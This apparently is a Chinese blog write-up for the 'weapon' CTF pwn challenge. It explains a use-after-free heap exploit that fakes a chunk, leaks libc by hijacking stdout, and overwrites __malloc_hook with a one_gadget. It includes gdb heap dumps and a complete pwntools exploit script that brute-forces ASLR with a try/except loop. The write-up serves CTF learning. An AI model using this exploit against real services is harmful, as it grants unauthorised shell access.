美文网首页
使用异常处理爆破stdout-(weapon)

使用异常处理爆破stdout-(weapon)

作者: cnitlrt | 来源:发表于2020-03-12 21:07 被阅读0次

    python 中的try except语句:

    try:
        正常的操作
       ......................
    except:
        发生异常,执行这块代码
       ......................
    else:
        如果没有异常执行这块代码
    

    下面通过一个栗子来实践一下:weapon

    ida分析:

    main:

    main.png

    create:

    1.png

    限制size的大小不能超过0x60并且只能申请9个

    edit没什么特别的,就是根据size向原来的空间进行写入

    free:

    free.png

    很明显的UAF漏洞

    idea:

    因为main_arena-88的地址和stdout的地址差不多,只有后面两个字节不同,并且stdout的后面的一个半字节是固定的因此执行爆破倒数第四位就可,这里选择的就是异常爆破,还有一个注意点是不能直接申请到stdout上面需要申请到stdout附近的地址,附近有一个可利用的块,劫持到stdout时将flag的值改低,并将write_base的低字节也改低,便可以输出write_ptr和write_end之间的值,这里面可能就有我们的libc
    难点在于如何劫持到stdout上面

    method:

    我们采用在堆块里面伪造块,具体操作是,构造一个0x40的链表,破坏链表将其指向我们伪造的堆块,并且修改size域使其落入unsortedbin中,这样就可以在fastbin上踩出main_arena的地址

    operation:

    first step:

    new(0x10,0,p64(0)+p64(0x41)) #0
    new(0x60,1,p64(0)*5+p64(0x41)) #1
    new(0x30,2,"a") #2
    new(0x30,3,'a') #3
    new(0x30,4,"a") #4
    free(1)
    free(2)
    free(3)
    

    heap布局:

    gdb-peda$ x/32gx 0x555555757000
    0x555555757000: 0x0000000000000000  0x0000000000000021
    0x555555757010: 0x0000000000000000  0x0000000000000041 <---fake chunk
    0x555555757020: 0x0000000000000000  0x0000000000000071
    0x555555757030: 0x0000000000000000  0x0000000000000000
    0x555555757040: 0x0000000000000000  0x0000000000000000
    0x555555757050: 0x0000000000000000  0x0000000000000041 <---bypass
    0x555555757060: 0x0000000000000000  0x0000000000000000
    0x555555757070: 0x0000000000000000  0x0000000000000000
    0x555555757080: 0x0000000000000000  0x0000000000000000
    0x555555757090: 0x0000000000000000  0x0000000000000041
    0x5555557570a0: 0x0000000000000000  0x0000000000000000
    0x5555557570b0: 0x0000000000000000  0x0000000000000000
    0x5555557570c0: 0x0000000000000000  0x0000000000000000
    0x5555557570d0: 0x0000000000000000  0x0000000000000041
    0x5555557570e0: 0x0000555555757090  0x0000000000000000
    

    此时的bin:

    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x5555557570d0 —▸ 0x555555757090 ◂— 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x555555757020 ◂— 0x0
    0x80: 0x0
    

    然后破坏链表,使其指向我们的fake_chunk

    edit(3,p8(0x10))
    

    修改后的链表:

    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x5555557570d0 —▸ 0x555555757010 ◂— 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x555555757020 ◂— 0x0
    0x80: 0x0
    

    successful,成功指向了第一个堆块

    second step:

    利用unsorted bin的特性在chunk上踩出main_arena的地址:

    new(0x30,3,p8(0x10))
    new(0x30,2,p64(0)+p64(0x70+0x41))
    free(1)
    

    heap 布局:

    gdb-peda$ x/32gx 0x555555757000
    0x555555757000: 0x0000000000000000  0x0000000000000021
    0x555555757010: 0x0000000000000000  0x0000000000000041
    0x555555757020: 0x0000000000000000  0x00000000000000b1
    0x555555757030: 0x00007ffff7dd1b78  0x00007ffff7dd1b78
    0x555555757040: 0x0000000000000000  0x0000000000000000
    0x555555757050: 0x0000000000000000  0x0000000000000041
    0x555555757060: 0x0000000000000000  0x0000000000000000
    0x555555757070: 0x0000000000000000  0x0000000000000000
    0x555555757080: 0x0000000000000000  0x0000000000000000
    0x555555757090: 0x0000000000000000  0x0000000000000041
    0x5555557570a0: 0x0000000000000000  0x0000000000000000
    0x5555557570b0: 0x0000000000000000  0x0000000000000000
    0x5555557570c0: 0x0000000000000000  0x0000000000000000
    0x5555557570d0: 0x00000000000000b0  0x0000000000000040
    0x5555557570e0: 0x0000555555757010  0x0000000000000000
    

    bin:

    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
    0x80: 0x0
    unsortedbin
    all: 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x555555757020 /* ' puUUU' */
    

    成功!

    third step:

    劫持__IO_2_1_stdout:

    edit(2,p64(0)+p64(0x71))
    edit(1,p16(0x2620-0x43))
    new(0x60,1,p16(0x2620-0x43))
    new(0x60,6,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
    

    这里我们选择是劫持到stdout的0x43处的位置,因为此处有可以利用的堆块
    注意:因为我本地关闭了asrl保护因此可以很容易的知道stdout的地址也就是会100%成功劫持,但是远程不行,会有1/16的可能行因此需要爆破
    可以看到已经成功的输出了一大段地址:

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x87\x18�\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa3&��\xff\x7f\x00\xa4&��\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�����\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x00\x00
    

    随便选一个就行,然后计算出偏移,偏移计算的话需要知道libc的基质然后两者进行相减便是offset具体的数值会不一样,这里就不再过多的描述了
    到了这一步基本上已经结束了,接下来就是用fastbin attrack 来进行getshell,将malloc_hook写入one_gadget就ok了
    完整exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    from LibcSearcher import LibcSearcher
    #context.log_level= 'debug'
    binary = 'weapwn'
    elf = ELF('weapwn')
    libc = elf.libc
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = "node3.buuoj.cn"
      port =  29626
    def new(size,idx,name):
        p.sendlineafter(">> \n","1")
        p.sendlineafter(": ",str(size))
        p.sendlineafter(": ",str(idx))
        p.sendafter(":\n",name)
    def free(idx):
        p.sendlineafter(">> \n","2")
        p.sendlineafter("input idx :",str(idx))
    def edit(idx,payload):
        p.sendlineafter(">> \n","3")
        p.sendlineafter(": ",str(idx))
        p.sendafter(":\n",payload)
    def pwn():
        new(0x10,0,p64(0)+p64(0x41))
        new(0x60,1,p64(0)*5+p64(0x41))
        new(0x30,2,"a")
        new(0x30,3,'a')
        new(0x30,4,"a")
        free(1)
        free(2)
        free(3)
        edit(3,p8(0x10))
        new(0x30,3,p8(0x10))
        new(0x30,2,p64(0)+p64(0x70+0x41))
        free(1)
        edit(2,p64(0)+p64(0x71))
        edit(1,p16(0x2620-0x43))
        new(0x60,1,p16(0x2620-0x43))
        new(0x60,5,"a"*0x33+p64(0xfbad1887)+p64(0)*3+p8(0))
        libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c5600
        malloc_hook = libc_base+0x3c4b10
        o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
        one = o_g[3]+libc_base
        print "libc_base:"+hex(libc_base)
        print "malloc_hook:"+hex(malloc_hook)
        new(0x60,6,"a")
        new(0x60,1,"a")
        free(1)
        free(6)
        free(1)
        new(0x60,1,p64(malloc_hook-0x23))
        new(0x60,1,p64(malloc_hook-0x23))
        new(0x60,6,p64(malloc_hook-0x23))
        new(0x60,7,0x13*'a'+p64(one))
        p.sendlineafter(">> \n","1")
        p.sendlineafter(": ",str(0x20))
        p.sendlineafter(": ",str(8))
        p.interactive()
    while True:
        p = process(binary)
        try:
            pwn()
        except:
            p.close()
    

    相关文章

      网友评论

          本文标题:使用异常处理爆破stdout-(weapon)

          本文链接:https://www.haomeiwen.com/subject/dzimjhtx.html